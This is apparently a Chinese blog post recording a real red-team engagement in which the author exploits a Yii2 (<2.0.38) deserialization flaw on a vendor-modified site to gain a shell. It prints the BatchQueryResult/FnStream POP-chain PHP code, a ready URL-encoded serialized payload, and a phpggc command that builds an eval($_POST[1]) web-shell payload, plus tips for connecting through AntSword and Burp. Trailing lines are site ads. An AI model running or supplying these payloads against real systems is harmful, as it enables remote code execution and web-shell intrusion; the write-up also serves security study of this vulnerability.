记一次yii2实战反序列化过程
前言:yii2实战反序列化过程getshell的笔记,记录和分享下,同时也感谢小贺哥的分享
过程
hw期间碰到的,目标某厂商的源码二次开发的yii2的站点,如下图所示
发现某POST接口存在一个反序列化的点,其还需要接收一个POST的参数
https://xxxxxxx/web/index.php?r=接口&参数=6
因为尝试的时候发现了该站点yii2版本是<2.0.38的,因为发现通过BatchQueryResult的POP链可以直接进行利用,利用链代码如下所示
<?php namespace GuzzleHttp\Psr7 { class FnStream { var $_fn_close = "phpinfo"; } } namespace yii\db { use GuzzleHttp\Psr7\FnStream; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new FnStream(); } } $b = new BatchQueryResult(); echo urlencode(serialize($b)); }
POC如下:
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D
是可以成功执行phpinfo的,但是会发现这个POP链条是通过call_user_func来进行执行的,所以需要传递相关的命令函数和执行命令的参数,但是如下call_user_func这种调用情况是不满足的
所以这里的话要么需要通过别的pop链来进行利用或者是在这个调用的基础上去寻找其他的调用链
这里通过phpggc中的yii2的利用链条来进行生成 https://github.com/ambionics/phpggc/blob/master/gadgetchains/Yii2/RCE/2/gadgets.php
生成命令为:./phpggc Yii2/RCE2 eval\(\$\_POST[1]\) | tr -d '\n' | xxd -plain | sed 's/\(..\)/%\1/g'
连接期间还有些bug,因为发送url编码的数据在蚁剑中会再次被进行url编码,所以我自己是通过burp进行替换来进行解决的,最终连接如下效果
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY